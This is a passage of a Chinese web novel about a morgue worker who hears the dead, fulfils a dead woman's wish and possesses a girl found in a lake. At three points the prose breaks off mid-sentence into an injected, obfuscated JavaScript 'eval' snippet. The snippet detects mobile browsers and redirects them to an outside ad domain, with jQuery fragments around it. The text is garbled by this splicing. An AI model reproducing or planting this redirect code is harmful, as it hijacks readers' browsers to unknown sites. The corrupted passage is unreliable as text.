然而回到宿舍后,躺在床上没多久,眼皮就变得仿佛有千斤重,困意如潮水一般袭来,一瞬将她淹没。 一夜无梦。 姜晴在一阵阵吵闹声中醒来,只感觉头昏沉沉的,鼻子像是被什么堵住了,嗓子也明显的不舒服。 她翻过身,从枕边的小药箱里翻出一根温度计,艰难的甩了甩,夹到腋下。 过了几分钟后,拿出来一看,38.6°。 姜晴身体还算不错,偶尔生病,情况都不算严重,去医务室开点药,过几天就好了。 后来她自己在小药箱里备了常用药,连医务室都不用去。 跟以往一样,姜晴从小药箱里翻出退烧药吃下去,而后起床收拾。 她起得本来就有些晚,再加上身体不舒服,哪怕已经很努力在赶了,依旧迟到了几分钟。 第一节是语文课,语文老师兼任班主任,行事风格比较严厉。 不知道他今天是不是碰上了什么不开心的事,姜晴正好撞在枪口上,挨了一顿明嘲暗讽。 一节课四十分钟,除去迟到的时间,她几乎全程不在状态。 头始终昏昏沉沉的,同时她脑子里不受控制回想昨天晚上发生的事。 不知道该怎么去解释那种匪夷所思的情况,姜晴只能将之归类为——撞鬼。 她在教学楼天台上和卫生间里失去的两段记忆,是因为被鬼上身了。 这是一件很恐怖的事。 姜晴本来也是比较胆小的人。 但她却一点也不害怕。 因为那个鬼,从头到尾没有做出什么伤害她的事,甚至还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜晴渐渐垂下了眼睛,心里说不上是失落还是什么。 或许有点愧疚吧。 鬼帮了她的忙,但她好像帮不了鬼…… “哪个jiang哪个qing?”对方忽然问道。 姜晴愣了愣,而后回道,“生姜的姜,晴天的晴。” “行,我知道了。姜晴,我现在在处理工作上的事,晚点再给你打电话,可以吗?” 对方的态度出乎意料的好,姜晴点头回应,“好的。” 电话被挂断。 听着嘟嘟的忙音,姜晴心情忽然好了起来,开始有了期待。 期待自己能帮到鬼和它的朋友,也期待有人可以分享这段离奇的经历。 5. 第 5 章 相比起姜晴,温时简才是真正见鬼的那一个。 短短一天半的时间,她先是经历了听见尸体说话的恐怖事件,并由此引出了一个发布任务的系统。 而不等她仔细去研究,马上就又接到了梦里的‘自己’打来的电话。 温时简不知道该怎么去形容自己此刻的心情。 尸体不是正常尸体,梦也不是正经梦,就连系统,似乎也不太正常。 她自认此前的人生已经足够‘精彩’了,但跟这一天半比起来,根本不算什么。 旁边棺材里方小雅还在哭,一边喊妈,一边念叨着她的钱。 想到系统发布的任务,温时简是真的很想尝试一下看能不能跟方小雅交流。 可惜她母亲还在旁边。 温时简不想被当成神经病。 这么想着,之前听到的那个女声,再次在脑子里响起。 “你可以尝试用心声跟执念交流。” 温时简一怔。 她这个系统果然不太正常,跟她交流,用的是‘你’而非‘宿主’。 对于方小雅的称呼也有些出乎意料。 “系统,你能听到我说话吗?” 温时简先在系统身上试验所谓的心声交流。 “可以。”简洁的回复,听不出情绪。 “为什么是我?”温时简首先关心的不是任务不是其他人,而是自己。 “凑巧你碰上了,或者天命在你,看你喜欢哪一个。” 温时简:“……重点不是这个。” “生死两界,阴阳相隔。但正如世上没有不透风的墙,两个世界的界线,偶尔也会出现波动……” 小苍山殡仪馆里的这栋遗体处置楼,恰好处于这次两界波动点上,受到了影响。 用流传较广的八字命理来解释,之前那些遭遇各种事故的人,就是八字不够硬,压不住这不为人知的变故所带来的细微影响。 而殡仪馆招人要求八字硬,这看似病急乱投医的行为,居然误打误撞蒙对了题。 当然,界线的波动,温时简也受到了影响。 但跟其他遭遇意外事故的人不一样,她的情况更为特殊。 一方面表现为跨越生死界限,也就是能听到死去的人说话。 第二个则是意识离体,随机附身在将死之人的躯体上。 第一个随机到的就是准备跳楼结束生命的姜晴。 但熟人的出现,导致姜晴意识归位。 第一场‘梦’匆匆结束。 由于温时简对梦里发生的事产生了好奇,使得她跟姜晴之间,产生了一丝联系。 又恰好姜晴在当晚第二次产生了强烈的自杀念头。 于是温时简再次睡着后,意识又一次进入了姜晴的身体。 期间姜晴的意识有苏醒的迹象,但是被温时简强行压下去了。 她第二天醒来时之所以会感觉头痛欲裂,就是意识过渡消耗的后遗症。 “所以只要我远离这个地方,就不会再出现灵魂出窍的情况了?”温时简问。 “之前是。” “之前?” “在我出现之前。” 温时简以为的鬼,也就是棺材里一直说话个不停的方小雅,并不是她认知中的那种鬼。 “这个世界上没有鬼。” “它不过是亡者强烈不甘凝聚而成的一缕执念。” “我也不是系统,只是在这处特殊环境里诞生的产物。” “某种意义上来说,我是因你而存在的。” 虽然没什么用,但这最后一句话,温时简听完之后,相比之下的确开心了那么一点。 毕竟,漂亮话,大多数人都爱听。 心中盘旋的疑惑得到解答,温时简转而关心起任务。 “方小雅,你能听到我说话吗?”她尝试跟方小雅沟通。 虽然系统说这只是一缕执念,但不久之前她都能认出母亲,温时简觉得应该是能交流的。 话音落下的瞬间,棺材里的喋喋不休的声音突兀中断了。 但也只是一瞬,片刻后迎来了强烈的反扑。 “是谁在说话?!” “你为什么会知道我的名字?” “不对,你能听到我说话……你能听到我说话……哈哈哈哈!” 一阵疯狂的笑声后,方小雅稍微冷静了一些,想起来还有正事,“你还活着对吧?你能听到我说话,那一定就在附近,你有看到一个瘦小的女人吗,五十多岁的年纪,头发半白……我不知道她穿什么衣服,我听到她一直在哭,你找找看,附近守着一具尸体在哭,应该就是她……” 温时简耐心的听她说完后,才回应道,“嗯,我就她旁边。” 方小雅闻言,沉默了几秒,小心翼翼开口,“她……还好吗?” “说实话,不太好。” 又是一阵沉默。 “我本来都打算好了,再工作几年,多攒点钱,就去外面买套房子,把她接过去,远离那个鬼地方……” 方小雅甚至不愿意把那个地方称之为家。 温时简对于这点,很能理解。 因为不久之前,她才在遗体化妆间里,从李如明口中得知,方小雅的父亲为了钱同意卖掉她的尸体。 “……可惜计划赶不上变化,也可能是我命不好吧,不过再说这些也没有意义了。” “能拜托你帮我一个忙吗?”方小雅问。 “你说。” “我存了一笔钱,此外还有一些东西,需要你帮忙卖掉换成钱,然后转交给我妈,但又不能一次性全给她,因为她手里存不住钱,不管多少,最后都会被那个废物全拿走。” “我知道这很麻烦,但不会让你白帮忙的,作为报酬,你可以拿走其中的一半。钱不多,算是我一点心意。” 温时简听完她的话,没有急着给出回答,而是反问道,“你就不怕我全都私吞了?毕竟这件事,只有你知我知。” 方小雅显然已经看开了,语气平和,“说不担心是假的,可是我已经没有别的选择了。而且比起落到那个废物手里,我更愿意把钱给你,就当是你陪我说话的报酬。” 方小雅的态度很坦诚,温时简也就不藏着掖着了,“我可以帮你,但我现在急需一大笔钱,因此你的钱我会挪用,但我可以保证,该给你母亲的那部分,我会每个月一分不少的给她。” “能问一下为什么吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156029|164937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我姐姐出了车祸,我在凑手术费。” “很不幸的遭遇,但是,至少人还活着,不是吗?”活着就有希望,不像她,死了就什么都没了。 温时简点头,“的确,人活着,就已经是不幸中的万幸。” 双方就此结束闲谈,回归正题。 方小雅将她存钱的卡和需要处理的东西,一一告诉温时简,最后又说了一些自身的情况,以免后者在她母亲那里翻车。 “你一开始就知道我的名字,但我还没问过你。” “我叫温时简,温度的温,时间的时,简单的简。” “看起来是用心取的名字,你的父母一定很爱你吧?” “这是我上初中的时候,自己改的名字。” “……抱歉。” “没关系,都过去了。” “……谢谢你,温时简,还有,再见。” “再见。” 执念的消散,无声亦无形。 棺材里的方小雅,变成了一具真正的尸体,再也没有了声音。 一行文字浮现在温时简眼前—— 任务:完成方小雅的遗愿(已完成) 奖励:观众(注:生活中,观众无处不在。正常人头上不长摄像头,但你是个例外,它将记录你所见的一切)(已发放) 这个任务完成评判标准,稍微有些出乎意料。 温时简没有立刻去查看奖励,她注意到,低头坐在棺材旁边,许久未曾说话的张素芬,也就是方小雅的母亲,像是察觉到了什么一般,忽然抬起头来,去看旁边的棺材。 “小雅……”她嗓音嘶哑。 温时简没说话,只在旁边陪着。 又过了许久,才听张素芬再度开口,“辛苦你一直在这里陪我,我还不知道你的名字呢。” “我叫温时简,阿姨你叫我小温就可以了……” 眼看着张素芬像是想要站起来,但哭了太久,又蹲坐了许久,刚才动了一下就又跌回去,温时简眼疾手快把人扶住。 “阿姨,慢点。” 张素芬在温时简的搀扶下站了起来,她身材瘦小,背脊微微弯了下去,站在棺材边,只勉强能看到里面的情况。 “小温你是这里的员工吧,之前都没注意,我们家小雅,还要多麻烦你……”她说着话,探出手想要去触碰方小雅的脸,将要摸到时,却又硬生生停住了,最后收了回来。 “小雅是车祸走的,能化妆成这样子,一定很辛苦,要是摸坏了,就又要送回去……” “她……爸也不知道什么时候回来,不过他本来也不怎么在意……我不想再耽搁了,麻烦小温你叫人过来,送小雅去……去火化吧……” 张素芬说到最后,声音又哽咽了,抑制不住的再度哭了起来。 温时简根据这番话,回想之前进门时碰到的那个男人,不出意外就是方小雅的父亲了。 难怪。 温时简眼底浮现嘲弄之色,将张素芬扶到一旁坐下,而后给李如明打电话。 她刚上班,还没存其他部门同事的电话。 没过多久,便有人推着推车进来,跟张素芬确认过后,将方小雅的棺材搬到了推车上,推着一路往火化间走去。 6. 第 6 章 一个人从尸体变成骨灰,只需要短短两个小时不到的时间。 最后装进一个小小的瓷罐子里。 白瓷罐本身并不重,张素芬将它抱在怀里,本就瘦弱的身躯,却仿佛被压得更低了。 她的每一步,都走得很沉重。 温时简还要上班,只把人送到了大门口。 方小雅没说她存了多少钱,需要处理的东西能卖多少钱也不知道,温时简还跟姜晴约了晚点联系,最早估计也要晚上才有时间去处理这件事。 等后续都整理清楚了,再考虑怎么跟张素芬沟通。 下午遗体处置楼接到了两具尸体,是殡仪馆附近区域内的老人,一个病逝,一个自然死亡。 都是无儿无女的,社区就近送了过来,算进每个月的公益指标里。 “这类型的遗体,只需要简单处理就好。”李如明嘴里这么说着,但手上的动作却并不见多敷衍。 不过相比于之前的方小雅,在处理这两具遗体的时候,温时简能亲自上手的机会,的确多了一些。 休息的间隙,温时简在心里悄悄问系统。 “这两具尸体都没有执念吗?”她并没有听到他们说话。 “人跟人是不一样的,不论活人还是死人。能凝聚执念的,始终是极少数。你接触第一具尸体就遇到方小雅,是你们彼此的运气。” 温时简目光看向一旁坐在椅子上闭目养神的李如明。 这位唯一在一系列事故中幸存的人,温时简对她难免好奇。 “按理来说,所有长期待在这栋遗体处置楼里的人,或多或少都会受到影响,对吧?”她在心里问。 “是的。” “那我师父她受到的影响,表现在哪方面?” “没有影响。” “什么意思?” “她二十三岁开始在这里工作,三十年的时间,殡仪馆前后翻修扩建了几次,无论领导还是普通员工,都换了很多,只有她一直在这里。某种意义上来说,她已经融入了这里。” 这片区域里发生的异常波动,能影响的只有在其中活动的人,对于区域本身所产生的影响,微乎其微。 并且李如明的存在,就像是一个稳定器,一定程度上阻止了异常波动的扩散。 对比自己又是意识出窍又是见鬼的,温时简觉得李如明真的太强了。 于是后者在休息过后,一睁眼,就发现眼前小姑娘眼里毫不掩饰的敬佩。 虽然有些疑惑,但她早过了凡事都要探究因果的年纪,只笑了笑,招呼人继续工作。 赶在下午下班前,两具遗体都处理好了,送往火化间。 温时简终于有时间好好研究她的任务奖励。 系统面板随她的心意在眼前展现—— 【当前任务】【已完成】【奖励】 后两个选项,是在完成方小雅的遗愿任务后增加的。 面板切换到【奖励】页面。 唯一一个奖励[观众]躺在里面。 温时简尝试去触碰它,而在这个念头冒出来的一瞬间,新的系统页面在眼前浮现—— 是否进入使用教程? 是or跳过 温时简老实选是。 意识有一瞬的恍惚,她发现自己来到了一个陌生的空间。 一幅幅画面,像是原始的相机胶卷,悬浮在周围。 在其中,她看到了熟悉的片段—— 运送棺材的推车远去,悼念厅的大门缓缓关上。 装着骨灰的白瓷罐,被一双黑瘦粗糙的手接过。 殡仪馆大门外,渐渐远去的佝偻身影。 …… 这些都是温时简亲身经历的,有她第一视角的画面,也有从高处往下看的第三视角。 此外还有一些她未曾经历过的。 空置的03号遗体化妆间。 身穿黑白制服的员工弯腰鞠躬,而后将棺材缓缓推送进高温火炉里,金属大门缓缓落下。 圆滚滚的麻雀叽叽喳喳叫着,从树上飞下来,啄走孩子手里的一小块干面包屑。 …… 系统对于[观众]的描述——它会记录你所见到的一切。 温时简以为是字面上的意思,记录她眼睛所看见的所有信息。 但现在她看到了很多与她完全无关的画面。 其中,火化间距离遗体化妆间虽然有一段距离,但二者至少还处于同一栋楼里。 小麻雀明显是在室外环境里。 由此可见,这个记录范围,远比温时简以为的要大得多。 她对此有些好奇。 伴随着心念一动,便见一个四宫格画面被推送到她正前方。 其中一格是殡仪馆的大门口,一个之前在火化车间见过的女生,跟门口的门卫打了下招呼,而后骑着电动车离开了。 另外几处温时简不认识,但看样子,应该是殡仪馆的另外几个方向。 也就是说,她‘头上’的‘摄像头’,能记录整个殡仪馆这么大范围的信息! 这简直就是行走的监控摄像头,超高清画质,7x24小时运行,360°无死角! 温时简只要心念一动,就可以准确查到指定时间和地点的录像。 不仅如此,她还可以指定视角,无论是人,还是动物,又或者是监控摄像头等。 最关键的是,这些画面,并非只能在系统空间里查看,还可以以视频或音频的方式,直接导到手机电脑或U盘里! 画质可调,音量可调! 有点……不,是非常厉害! 系统的教程,非常的简单易学,一遍就会。 温时简意识里,已经过去了很久,但现实中,也就几分钟的时间。 看起来就只是发了会儿呆。 她的嘴角不受控制的弯了起来,根本压不下去。 李如明从旁边路过,问了一句,“怎么笑这么开心?” “李姐!”温时简跟她打招呼,扯了个谎,“刷到个笑话。” “快去收拾一下,一会儿要吃饭了。”李如明没有多问,嘱咐一句,先一步走了。 温时简快速洗了个澡,换上衣服,赶到食堂的时候,刚好开饭。 烧茄子,炸鸡柳,溜肉段……配一碗冬瓜排骨汤。 吃完饭回到宿舍,时间六点五十二。 中学对于温时简来说,已经是一段遥远的记忆了。 因此她不太确定,这个时间点,姜晴能不能拿到手机。 犹豫了两秒,她决定试试。 电话响了几声之后被接起,“喂。” “是我,你现在方便接听电话吗?”温时简问。 姜晴小声应了一句。 “我叫温时简……”中午因为系统的突然出现,以及方小雅和其母亲的事,温时简匆匆挂了电话,这会儿补上自我介绍。 “你可以叫我温姐姐。” “温姐姐。”姜晴乖巧喊人。 温时简觉得她声音听起来有些不太对,联想起昨天夜里发生的事,心里顿时有了猜测,“你生病了?” “温姐姐你是怎么知道的?”电话那头的姜晴,语气很是惊讶。 “感冒了?有没有发烧?” “嗯。” “吃过药了吗?” “嗯嗯。” “跟老师请假没?” “请了,今天都没上课,在宿舍里休息。” 两人一问一答,温时简是主导者,姜晴全程跟着她的节奏走。 确认了姜晴这会儿精神还行,温时简才跟她说起正事。 “你中午打电话给我,说这个号码是别人留给你的,是怎么回事?” 温时简当然清楚这是怎么回事,之所以要问,不过是在引导姜晴。 “那个……”电话那头,女孩的声音有些迟钝,似乎是在犹豫,过了好几秒之后,才继续说道,“我不知道说这件事……说出来温姐姐你可能……可能不会信,但是我可以保证,我说的都是真的!” “你说,我听着。”温时简放柔了语气。 “就是,就是我中午找东西的时候,发现笔记本上写了这个号码……”姜晴说话磕磕绊绊,将事情的经过尽可能完整的描述了一遍。 当然,关于她两次想跳楼的事情,被隐瞒了下来。 “温姐姐,你相信我说话的事吗?”姜晴小心翼翼的问。 温时简没有立刻回答,装作在思考,略微停顿了两秒,换了个语气,“说实话,听起来有些不可思议,我能看看那个留言吗?” 两人就这样加上了微 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姜小雅把钱存放在位于翠湖区的一家银行的保险柜里。 这是银行提供的一项特殊服务,7x24小时营业,根据服务的具体内容进行收费。 方小雅在半年前,以三千块每年的价格,租了个最小的保险箱,把她认为贵重的东西全存在里面,凭密码开箱。 温时简在工作人员的带领下,来到方小雅租的保险箱前,输入六位数密码,按下确定。 箱门悄无声息的打开。 小小的格子里,放了一张银/行/卡,一个巴掌大的粉色笔记本。 温时简将东西取出来,仔细收好银/行/卡,而后翻开查看笔记本里的内容。 里面写了两个游戏账号,共用一个密码。 “你到时候问我妈要我的手机,在微信好友列表里找一个叫一一风荷举的人,直接跟她说想要把东西都卖了就行,剩下的她会处理。” 离开vip专区,温时简找了台ATM机,插卡输入密码,查询余额。 七十万整。 温时简对方小雅没什么了解,后者拜托她的时候,也没说具体,只能根据张素芬的情况来推测她的家庭条件并不富裕。 她怎么也没想到,方小雅居然存了这么一大笔钱。 此外还有笔记本上记录的那两个账号,能跟卡放在一起,应该也值不少钱。 温时简呆呆的站在ATM机前,一时不知道该怎么去形容此刻的心情。 医院那边跟她说,姐姐的手术费大概要五十万左右,并且这笔钱只够坚持到她的身体恢复到勉强能出院的程度。 后续如果条件允许,最好是继续留在医院修养一段时间,没钱就只能选择回家静养。 就在前几天,温时简还在因为这笔钱,茫然不知所措,最后在学姐的介绍下,跟殡仪馆签了为期一周的试用合同。 她的想法很简单,只要坚持过七天,签下正式合同,她就可以去找银行贷款,先把姐姐的手术费交了,后续靠每个月的工资慢慢还。 可是现在只过了两天不到的时间,她就暂时凑到了这笔钱,并且还剩下很多…… ATM因长时间无操作,发出提示声,同时将卡退了出来。 温时简回过神来,将卡收起,简单整理好情绪后,转身往外走。 银行对面是一片巨大的湖泊,城市的璀璨灯火倒映其中。 夜风轻轻拂过,湖面荡起层层涟漪,光影瞬间碎成无数,却更显璀璨夺目。 湖边的休闲道上很热闹,有举止亲密的情侣,带孩子的家长,说说笑笑的一群少年人…… 温时简穿过马路,加入之中。 她没什么目的,朝着一个方向一直走,周围的行人渐渐开始变少。 走了大概二十来分钟,前方的湖边上忽然传来一阵交谈声。 温时简没有刻意去听,声音还是顺着风传进了她耳中。 “……水里是不是有东西?” “哪里呢?” “那边,就是那边,手电筒呢,照一下看看!” “看到了,好像……好像是个人?!” 7. 第 7 章 温时简很少会去凑热闹,倒不是不喜欢,而是没有时间。 学习,打工,睡觉,这三项几乎占满了以前的她一整天的时间。 吃饭都有点忙里偷闲的意味。 但现在不一样了。 始终压在头顶上的大山被掀开一角,她终于得以暂时喘一口气。 温时简抬脚,准备往声音传来方向靠过去。 但走了几步,她又停下了,就近找了块花坛台阶坐下。 [观众]启动。 意识瞬间进入系统空间,无数画面环绕四周。 温时简调出河边的区域。 说话的是几个在岸边夜钓的中年人,其中一个拿着一把强光手电筒往水里照,把那一片照得跟天亮了一样。 旁边人哎呦叫着,手里的鱼竿不停往那边伸。 温时简将画面切到水里。 只见水里飘着一个女生,面色苍白,紧闭着眼。 她身上的外套微微鼓起来,托着她的上半身漂浮在水面上。 温时简将距离拉到最近,捕捉到了极其轻微的呼吸声。 还好,人还活着! 她不由得松了一口气。 几个钓鱼大叔似乎都不会水,试图用鱼竿把人弄过来。 但落水的女生距离河岸有一段距离,鱼竿本身的长度远远不够。 还有人试图甩钩。 结果都以失败告终。 眼见着落水女生被水流推着飘得更远。 温时简打算自己过去看看。 她老家的村子坐落在一条河边上,从小的时候起,每逢炎热夏季,只要有空的时候,她几乎都是泡在水里的。 游泳的技术不敢说多高,拖回来一个已经失去意识的人,还是没问题的。 最关键的是,她可以利用[观众]视角,提前查看水里的情况,最大限度降低出现意外的可能。 眼前播放的画面,伴随着她的想法,切换到了水里。 湖水还算清澈,水里水草生长茂盛,但影响不大。 岸边水浅,越往里渐渐加深,到落水女孩那个位置,水深三米多的样子。 温时简正观察着,忽然听到扑通的落水声。 她以为是岸边几个钓鱼大叔的其中一个,画面切换过去,却见一个穿着短袖的女人,身姿矫捷,宛若游鱼一般,迅速朝着落水的女生靠过去。 在强光手电筒的照射下,她就像是电视电影里的主角,从天而降,宛如英雄一般,拯救落水的女孩。 在[观众]视角下,温时简可以清晰看到对方手臂上紧实的肌肉线条。 很快,女人便拖着落水女生游到岸边,旁边围观的人赶紧上去帮忙,众人齐心协力将人往旁边草地上抬。 温时简注意到,河岸边的人,算上救人的女人,比之前多了三个。 其中一个男人脱下了身上的外套,先一步铺在草地上。 “唉你别,还是用师父的吧。”长相秀气的女生眼疾手快捞起他的衣服,同时将手里抱着的外套铺下去。 两人的动作都很迅速,一番礼让下来,其他人才将落水女生抬过来。 救人的女人站在岸边,扯着衣服裤子随手拧了几下水,听到这边的对话,翻了个白眼,一边问,“救护车叫了吗?” “叫了!”秀气女生回应道,“师父我先给她检查下,做个急救!” 同行的男生往后挤了挤,稍微隔绝了旁边围观者的视线。 温时简退出了[观众]视角,站起身来,往河岸边走。 - 孙向芸察觉到有人靠近,暂时停下手里的动作,抬头看去。 只见一个女生走到她面前,将手里的外套递过来,“旁边那里有灌木,我跟着一起挡着点,你先将就换上,晚上冷,别感冒了。” 孙向芸习惯性的,目光不着痕迹迅速将人打量一番,手上动作却半点不慢,双手交叉抓住衣摆往上一拉,短袖便脱了下来。 女生似乎被她的行为惊到了,下意识张开手臂挡在她面前。 孙向芸不由得笑了笑,“没事。” 她身上穿的是运动内衣,问题不大。 说话的同时,从女生手里接过外套穿上。 相比她,女生的身材要瘦一些,不过外套是宽松款的,穿起来还算合身。 “走,过去看看。”孙向芸是行动派,张嘴的同时,脚就已经动了起来。 走到草地上,就见那一件看似不起眼,实则价格贵得吓死人的衣服,最终还是盖在了落水女生身上。 “小钰,怎么样?”她问。 “情况还行,救护车应该快到了。”小钰一头齐耳短发,样貌清秀。 她看到孙向芸身上的衣服,有些意外,但也没多问,只是视线往后看了看。 孙向芸也没解释,心里估算着最近的医院到这边的距离,感觉也差不多要来了。 果然,过了两分钟不到,就听救护车的鸣笛声从远处传来。 “小崔,一会儿你跟着救护车去医院一趟。小钰跟我回去。” 被点到名的两人,点头应是。 孙向芸回过头,看向跟过来的女生,“留个电话号码,改天我把衣服给你送过去。对了,我叫孙向芸。” “我叫温时简。” - 冷。 伴随着窒息的感觉。 温时简睁开眼,发现自己整个人泡在水里,并且身体在一点点往下沉。 这种真实的感觉……应该是又占据了谁的身体。 她控制着身体,努力往上浮。 “呼——”头钻出水面,她贪婪的呼吸着新鲜空气。 其实温时简离水面的距离并没有多少,但这具身体的主人,之前应该是在水里挣扎了一段时间,力气耗了个七七八八。 因此她虽然会游泳,但临时接手这具近乎脱力的身体,仅仅是一个简单的上浮动作,也变得十分困难。 她不再挣扎,缓缓的躺平了,让自己仰面浮在水面上。 此时是夜里,周遭光线十分昏暗。 远处依稀能见高楼和灯光。 温时简看着,总觉得有些熟悉。 她尝试着启动[观众]视角。 心念一动,意识就进入到了熟悉的系统空间。 很好,系统给的能力,绑定的是她的灵魂,而非身体。 温时简选中视野里那栋位于远处的大楼,进行搜索对比,很快便得出结论—— 居然是翠湖区的知名建筑之一,难怪她觉得眼熟。 也就是说,她这次附身的对象,不仅同省同市,距离她甚至只有一个小时左右的车程。 温时简心里稍稍有些好奇,切换视角,查看自己的俯身对象。 这一看,她直接沉默了。 居然是个‘熟人’。 那个被湖边钓鱼大叔发现的落水女生。 温时简觉得这多少有点离谱了。 通过[观众]视角得知,现在是夜里两点多,距离女生被抬上救护车,也就过去了五个小时左右的时间。 正常情况下,人这会儿应该在医院里躺着才对,再不济也是被接回了家里。 为什么会又一次泡在水里? 跳河自杀? 这种情况发生第一次,家长就该有防备了,轻易不会再让人跑出来。 意外落水? 说实话,也不像。 一朝被蛇咬十年怕井绳,经历过溺水的人,在靠近稍微深一点的水源时,都会更加的谨慎。 所以这具身体的主人到底是个什么情况? 温时简想不明白,索性不想了,开始观察周围的环境。 她飘在水中间,距离两岸都有相当一段距离,以这具身体目前的体力,基本上很难游过去。 但继续这么飘下去,也不是办法。 撇开这具身体不久之前才落过一次水的事不谈,人体在冷水中泡太久,也会逐渐失温。 温时简对这附近不怎么熟悉,只能暂且祈祷后续的河道能窄一点,让她能够自己游上岸,又或者河水能赶紧把她冲到有钓鱼佬出没的区域。 水流不是很湍急,但也不算太平缓。 飘了几分钟之后,温时简看着周边的环境,感觉到一丝丝的熟悉。 她再度抓取画面进行搜索对比,然后……又沉默了。 这不就是她俩上次相遇的地方! 能不眼熟吗! 温时简面无表情的将画面定位到河岸边上。 果然,那里零零散散坐了几个钓鱼人。 不过不是之前那一批了。 估算着距离差不多了,温时简翻过身来,一边朝河岸游,一边求救,“救命!!!” 她只喊了这一声,因为要留着力气。 万一岸上的人都不会游泳,又或者心有顾虑…… 但无论如何,他们肯定是愿意把鱼竿伸过来的。 她只要尽可能游到鱼竿能伸到距离,就能借力靠岸。 大半夜的,安静的湖面上忽然传来喊救命的声音,湖边钓鱼的几个人吓得一激灵。 这一批人里,也有带了强光手电筒的。 掏出来往湖面上一照,就看到正朝这边游过来的温时简。 在光照充足,视野足够清晰的情况下,即便是长发披散+白色衣服buff,看起来也没什么可怕的。 而且河边人多。 几个钓鱼人一通忙碌,将温时简从水里救了上来。 其中一位叔叔好心脱了外套给她披上。 “闺女,要不要送你去医院?”旁边人关心的眼神落在她身上。 温时简在漂流过程中,就考虑了很多。 她没有身体主人的记忆,身上也没摸到手机,可能是落水的时候,一起沉湖底去了。 不过就算没掉,估计也会因为进水死机。 这就意味着,她暂时无从得知‘自己’的身份信息。 但是通过[观众]回放之前的画面,温时简注意到当时救护车来的速度很快,结合车身上的印的字,身体原主人应该是被送到了距离这里最近的金海市第九医院。 原主人能从医院出来,要么家长交了钱,要么自己结的账。 赖账逃跑的概率很低。 也就是说,医院里会有她的信息。 至于到了医院,会不会被发现短时间内第二次落水这事,温时简决定,贯彻沉默是金这一条,假装自己是哑巴。 “谢谢叔。”她点头道谢。 二十分钟后,温时简抵达医院。 秉持着多说多错的原则,她一路上都没怎么说话。 到了医院里,护士问怎么回事,还是送她过来的大叔帮着说明情况,说她是落水了。 话音落下的瞬间,温时简感觉到护士的视线倏一下落到了她身上,看她眼神很奇怪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156031|164937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……难道之前身体原主人被送到这里时,也碰到了这个护士? 温时简默默把头垂得更低了,老实跟着走了一系列流程,最后躺到了病床上,挂上了吊瓶。 之后又过了大概半个小时,忽然外面走廊上传来一阵急促的脚步声。 病房的门随后被推开,乌泱泱一堆人走了进来。 医生,警察,还有一对互相搀扶着的中年男女。 男的面色焦急,女的眼睛红肿,显然是哭过。 这二人应该就是身体原主人的父母。 见到安静坐在病床上的温时简,女人眼泪一下子涌了出来,颗颗滚落,她没能忍住哭出声,直接扑了过来,一把将人抱住。 “嘉嘉……我的嘉嘉……!” 温时简不着痕迹的将扎了针的手拿远些。 中年男人随后也靠了过来,颤抖着手摸了摸她的头,“没事就好,没事就好……” 然后将妻子连同温时简一起抱住。 温时简手拿得更远一些。 接下来,就是考验演技的时候了。 ……不对,好像并不需要演。 她只用切换到[观众]模式,身体就会处于看似走神的挂机状态。 完美适合沉默装傻。 温时简没有丝毫犹豫,直接切换视角,当起了看客。 夫妻俩很快发现女儿的异样,眼神呆呆的,无论问什么都不会回答。 吓得赶紧问旁边的医生。 医生过来简单检查后,表示病人身体没什么大碍,可能是受到了太多刺激,暂时不愿意与外界交流。 一同前来的警员见此情况,直接放弃了问话,跟家长低声说了几句后,便先出去了。 之后陆续来了一些人,应该是亲戚之类的,跟夫妻俩简单交流之后,就都回去了。 温时简被换到了一个单独的病房。 除了夫妻俩,还有一个女警员留了下来。 温时简通过他们的对话,得知了大致的事情经过。 身体的原主人上一次被送到医院后,过了差不多一个小时醒来,也是一样的沉默寡言,问三句回不了一句。 后来打完了吊瓶,就自己结账走了。 夫妻俩睡得早,只依稀听到了女儿回家开门的声音,根本不知道她落水昏迷进了医院的事。 半夜里,他们突然接到亲戚打来的电话,问他们知不知道女儿的男朋友出事了。 夫妻俩被问得莫名其妙。 却听亲戚在电话里说,他们女儿的男朋友死了,在翠湖里淹死的,就晚上的事。 还说下午看到过小情侣一起出去玩。 夫妻俩一下子睡意全无,翻身爬起来去敲女儿的门。 可是敲了半天也没回应。 他们尝试着推门,发现门没锁,打开一看,屋里根本没人。 电话始终打不通。 夫妻俩只能通过亲戚,要来男方那边家长的号码,打电话过去问一下。 也没结果。 一通折腾下来,快半个小时过去了。 夫妻俩决定报警,同时往男方出事的地点附近找人。 温时简推算了一下时间,他们开始找人的时候,她差不多已经快到医院里了,刚好错开。 后续是医院的护士发现她情况不对,打电话报了警。 警方收到消息后,通知了夫妻俩,双方一起往医院赶过来。 这么看来,身体的原主人第二次落水,像是殉情。 但这个结论根本经不起推敲。 两人感情要是真有这么好,身体原主人醒来后,肯定会第一时间追问男朋友的情况,而不是一声不吭的离开医院回家。 